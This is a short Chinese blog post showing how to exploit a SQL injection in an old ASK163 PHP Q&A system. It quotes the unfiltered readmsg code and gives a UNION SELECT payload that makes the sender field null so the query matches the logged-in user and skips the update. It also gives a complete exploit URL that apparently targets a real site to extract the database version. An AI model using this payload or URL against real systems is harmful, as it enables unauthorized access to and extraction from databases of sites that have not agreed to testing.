一次突破思路

Title:一次突破思路  2013-07-02 13:46

PHP代码如下

elseif($command=='readmsg') 
{ 
    $query=$dblink->query("select * from $tablepre"."message where id=$_GET[id]");//未过滤 
    $msg=$dblink->fetch_array($query); 
    $msg_id=$msg['id'];//得到信息的ID号 
    $msg_senduser=$msg['senduser'];//得到发送信息的用户名 
    $msg_title=$msg['title'];//得到信息的标题 
    $msg_content=$msg['content'];//得到信息的内容,为什么两次? 
    $msg_content=$msg['content']; 
    $msg_time=date("Y-n-d H:i:s",$msg['time']);//格式化发送信息的时间 
    if($msg_senduser==$ngoask_user)//对比发送信息的用户名跟当前登录用户名 
    { 
        $enable_receive=0; 
    } 
    else
    { 
        $enable_receive=1; 
        $dblink->query("update $tablepre"."message set readtag=1 where id=$_GET[id]"); 
    } 
}

  

这遇到的是一款很老的ASK163系统。

很奇葩的是,这登录以后,$ngoask_user的值竟然显示是null,所以if的时候,两个用户名不相等。

所以会执行两个SQL语句。

后面通过联合查询控制,$msg['senduser']的值为null.显示位第2位为senduser.

select * from $tablepre"."message where id=-14 Union select 1,null,2,3,4,5,6,7,version(),9,10

http://www.f100.com/ask/my.php?command=readmsg&id=-14+Union+select+1,null,3,4,5,6,7,version(),9,10

这样$msg_senduser==$ngoask_user,都为null,如果$ngoask_user的值为其他,那就select其他值,相等就OK。不会执行update语句。

posted on 2015-03-07 17:33  Tea_Ing  阅读(192)  评论(0编辑  收藏  举报

导航